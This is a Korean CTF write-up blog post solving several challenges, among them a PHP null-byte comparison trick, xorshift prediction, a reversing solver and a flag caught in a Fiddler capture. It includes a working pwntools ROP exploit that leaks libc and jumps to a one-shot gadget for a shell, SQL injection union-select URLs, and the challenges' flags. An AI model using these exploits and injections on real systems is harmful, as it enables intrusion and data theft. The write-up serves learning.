I have an eraser
qr code를 준다.
https://merricx.github.io/qrazybox/ 에서 복구하면 끝난다.
FLAG{you_got_the_QRcode}
Easy PHP
문자열과 == 비교를 해서 true가 되는 숫자는 0이다. ord('\x00') = 0이므로 널을 넘겨주면 된다.
http://sdhsroot.kro.kr/newprob2/?str=%00
FLAG{Nu11_0_5+R!n9}
Doctor rand
<?php
highlight_file(__FILE__);
$result = 123456789;
include "flag.php";
function xor_rand($state){
$state ^= $state << 23;
$state ^= $state >> 17;
$state ^= $state << 20;
return $state;
}
for ($i = 0; $i < 6; $i++) {
$result = xor_rand($result); // ^= left 23, right 17, left 20 /// return $state
}
if($result."" === @$_GET['result'])
echo $flag;
?>
xor_rand 코드를 그대로 복사해서 돌려보면 결과값이 나온다.
5240802525653799023
FLAG{X0R_F4k3_r@^D0m_NuM63r}
Hi
직업 3개중 하나 고르고, wizard를 골랐을시 경험치가 100 이상일때 BOF를 준다. 경험치는 사냥 2번 정도만 하면 충분히 쌓이고, bof 에 ROP를 이용해서 함수 2개의 주소를 leak 한 다음, libc를 얻고 oneshot gadget을 찾아서 때려주면 쉘을 딴다.
p.s. 패치 전 바이너리 붙잡고 strcpy 어떻게할까 하다 패치된걸 그제야 보고 memcpy로 슥슥..
from pwn import *
context.log_level = 'debug'
context.arch = 'amd64'
#p = process('./Hi')
p = remote('222.110.147.52', 12766)
libc = ELF('./Hi.so')
e = ELF('./Hi')
r = ROP(e)
r.puts(e.got['puts'])
r.check()
log.info(r.dump())
p.recvuntil('> ')
p.sendline('2')
p.recvuntil(': ')
p.sendline('a')
p.recvuntil('> ')
p.sendline('1')
p.recvuntil('> ')
p.sendline('1')
p.recvuntil('> ')
p.sendline('2')
p.recvuntil('.\n')
p.sendline('a'*0x108 + r.chain())
p.recvuntil('a'*0x108)
p.recvuntil('\n')
puts = u64(p.recv(6)+'\x00'*2)
base = puts - libc.symbols['puts']
oneshot = base + 0x4526a
p.recvuntil('.\n')
p.sendline('a'*0x108+p64(oneshot))
#p.recvuntil('\n')
#read = u64(p.recv(6)+'\x00'*2)
#log.info("puts = [%s] read = [%s]" % (hex(puts),hex(read)))
p.interactive()
Give me
위와 같이 35글자를 입력받는데, 문제에서 입력받는 문자열이 FLAG라고 한다. sub_400686과 sub_40077B 함수를 거치고 아래의 수들과 비교를 한다.
#include <stdio.h>
char * sub_40077B(char *a1, char *a2)
{
char *v2; // ST08_8
char *result; // rax
v2 = a1;
a2[1] = v2[3] + v2[21];
a2[24] = v2[50] + v2[35];
a2[7] = v2[13] + v2[21];
a2[26] = v2[52] + v2[1];
a2[4] = v2[10] + v2[20];
a2[27] = v2[53] + v2[40];
a2[8] = v2[14] + v2[1];
a2[22] = v2[44] + v2[20];
a2[12] = v2[24] + v2[35];
a2[23] = v2[45] + v2[0];
a2[21] = v2[43] + v2[40];
a2[16] = v2[32] + v2[20];
a2[29] = v2[55] + v2[0];
a2[6] = v2[12] + v2[35];
a2[9] = v2[15] + v2[40];
a2[25] = v2[51] + v2[21];
a2[11] = v2[23] + v2[0];
a2[19] = v2[41] + v2[21];
a2[15] = v2[31] + v2[40];
a2[28] = v2[54] + v2[20];
a2[2] = v2[4] + v2[1];
a2[14] = v2[30] + v2[1];
a2[18] = v2[34] + v2[35];
a2[20] = v2[42] + v2[1];
a2[17] = v2[33] + v2[0];
a2[5] = v2[11] + v2[0];
a2[13] = v2[25] + v2[21];
a2[3] = v2[5] + v2[40];
a2[10] = v2[22] + v2[20];
a2[0] = v2[2] + v2[35];
}
int main()
{
int k=0;
char s[35];
scanf("%s",s);
int table[] = {220,172,190,113,125,118,229,208,181,175,178,119,220,240,181,160,127,180,173,228,119,176,197,165,241,239,166,172,195};
char v5[112];
int i = 0;
for(i=0;i<= 34;i++)
{
int tmp = 2 * i % 35 % 6;
int tmp2 = 10*(2*i%35/6);
int tmp3 = 6 * i % 35;
printf("v5[%d] = s[%d]\n",tmp+tmp2, tmp3);
*(tmp2 + v5 + tmp) = *(tmp3 + s);
}
sub_40077B();
for(i=0; i<=28; i++)
{
if(table[i] != s[i])
{
printf("[%d] Not\n",i);
break;
}
printf("%s Exit\n",s);
return;
}
}
이를 C 로 구현한 다음, 실행하면 입력한 값이 일정한 순서대로 v5 배열에 옮겨진다. 그 후 40077B 함수에서 v5 배열 값들을 더하는데, 결과물이 table이 되어야 한다. 이를 파이썬 코드로 옮겨보았다.
def parse2(code):
code = code.replace('a2','table').replace('v2','dic2')
print(code)
t = code.split('=')[0]
v1 = code.split('=')[1].split('+')[0]
v2 = code.split('=')[1].split('+')[1].replace(';','')
print('v1 : %s v2 : %s'%(v1,v2))
if not int(v1.split('[')[1].split(']')[0]) in dic2 :
v1 = '0'
if not int(v2.split('[')[1].split(']')[0]) in dic2 :
v2 = '0'
if int(t.split('[')[1].split(']')[0]) > 28:
return
tmp1 = eval('flag['+v1+']')
tmp2 = eval('flag['+v2+']')
print('tmp1 : %s tmp2 : %s'%(tmp1,tmp2))
if tmp1 == '_' and tmp2 == '_':
return
else:
if tmp1 == '_':
flag[eval(eval('v1'))] = chr(eval(t) - ord(tmp2))
else:
flag[eval(eval('v2'))] = chr(eval(t) - ord(tmp1))
table = [220, 172, 190, 113, 125, 118, 229, 208, 181, 175, 178, 119, 220, 240, 181, 160, 127, 180, 173, 228, 119, 176, 197, 165, 241, 239, 166, 172, 195]
dic2 = {0: 0, 1: 3, 2: 6, 3: 9, 4: 12, 5: 15, 10: 18, 11: 21, 12: 24, 13: 27, 14: 30, 15: 33, 20: 1, 21: 4, 22: 7, 23: 10, 24: 13, 25: 16, 30: 19, 31: 22, 32: 25, 33: 28, 34: 31, 35: 34, 40: 2, 41: 5, 42: 8, 43: 11, 44: 14, 45: 17, 50: 20, 51: 23, 52: 26, 53: 29, 54: 32}
flag = list('FLAG{_____________________________}')
code = ''' a2[1] = v2[3] + v2[21];
a2[24] = v2[50] + v2[35];
a2[7] = v2[13] + v2[21];
a2[26] = v2[52] + v2[1];
a2[4] = v2[10] + v2[20];
a2[27] = v2[53] + v2[40];
a2[8] = v2[14] + v2[1];
a2[22] = v2[44] + v2[20];
a2[12] = v2[24] + v2[35];
a2[23] = v2[45] + v2[0];
a2[21] = v2[43] + v2[40];
a2[16] = v2[32] + v2[20];
a2[29] = v2[55] + v2[0];
a2[6] = v2[12] + v2[35];
a2[9] = v2[15] + v2[40];
a2[25] = v2[51] + v2[21];
a2[11] = v2[23] + v2[0];
a2[19] = v2[41] + v2[21];
a2[15] = v2[31] + v2[40];
a2[28] = v2[54] + v2[20];
a2[2] = v2[4] + v2[1];
a2[14] = v2[30] + v2[1];
a2[18] = v2[34] + v2[35];
a2[20] = v2[42] + v2[1];
a2[17] = v2[33] + v2[0];
a2[5] = v2[11] + v2[0];
a2[13] = v2[25] + v2[21];
a2[3] = v2[5] + v2[40];
a2[10] = v2[22] + v2[20];
a2[0] = v2[2] + v2[35]; '''
code = code.split('\n')
print(code)
for c in code:
parse2(c)
print(''.join(flag))
대충 설명하자면 dic2는 v5에 저장된 입력받은 문자열의 인덱스 관계이다. 예를 들어 첫번째 함수에서 v5[2] = s[10] 이 되었다면 dic2[2] = 10 이 된다. 이를 이용해 하나씩 eval 시키고 시켜서 flag를 얻는다.
FLAG{i_f011ow_y0u_1nt0_th3_Unkn0wn}
simple_board
소스보기에 주석처리된 소스가 있다.
check.php에 접속해봤지만 금방 돌아왔다. 그래서 피들러로 한번 보내보니, body 에 FLAG가 같이 날아왔다.
<script>alert('FLAG : FLAG{C1053X_closeup_c!OsEUP}');location.href='./';</script>
p.s. 이제보니 세션값이 없을때만 날아오더라..
RootDict
type에 sql injection이 통하는 것을
http://sdhsroot.kro.kr/dict/index.php?type=animal'+order+by+1-- 을 통해서 알 수 있고, 컬럼 개수가 1개인것도 알 수 있다.
아래 처럼 테이블들을 알 수 있다.
컬럼명은 flag란 것을 알 수 있다.
http://sdhsroot.kro.kr/dict/index.php?type=animal'+union+select+flag+from+flag_Table--
FLAG{EEEE4Sy_Sql1}
'CTF Writeup' 카테고리의 다른 글
2020 Layer7 CTF - Layer7 VM pwn/rev Writeup (0) | 2020.11.19 |
---|---|
2020 Layer7 CTF - Mask Store Writeup (0) | 2020.11.19 |
사이버 작전경연대회 2020 예선 Classified Document Writeup (0) | 2020.09.13 |
2020 Incognito CTF Writeup (0) | 2020.09.07 |
2019 Layer7 CTF - Login Challenge (0) | 2020.09.07 |